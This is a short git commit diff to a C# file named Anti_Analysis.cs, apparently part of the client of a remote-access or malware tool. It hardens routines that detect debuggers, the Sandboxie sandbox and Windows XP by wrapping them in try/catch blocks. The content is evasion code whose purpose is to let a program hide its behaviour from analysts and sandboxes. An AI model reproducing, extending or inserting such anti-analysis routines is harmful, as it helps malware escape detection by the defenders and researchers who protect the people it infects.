Update Anti_Analysis.cs

This commit is contained in:
NYAN CAT 2019-09-16 13:47:45 +03:00
parent 2b248abf05
commit a85365a836

View File

@ -41,11 +41,15 @@ namespace Client.Helper
} }
private static bool IsXP() private static bool IsXP()
{
try
{ {
if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp")) if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp"))
{ {
return true; return true;
} }
}
catch { }
return false; return false;
} }
@ -77,17 +81,31 @@ namespace Client.Helper
private static bool DetectDebugger() private static bool DetectDebugger()
{ {
bool isDebuggerPresent = false; bool isDebuggerPresent = false;
try
{
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent; return isDebuggerPresent;
} }
catch
{
return isDebuggerPresent;
}
}
private static bool DetectSandboxie() private static bool DetectSandboxie()
{
try
{ {
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
return true; return true;
else else
return false; return false;
} }
catch
{
return false;
}
}
[DllImport("kernel32.dll")] [DllImport("kernel32.dll")]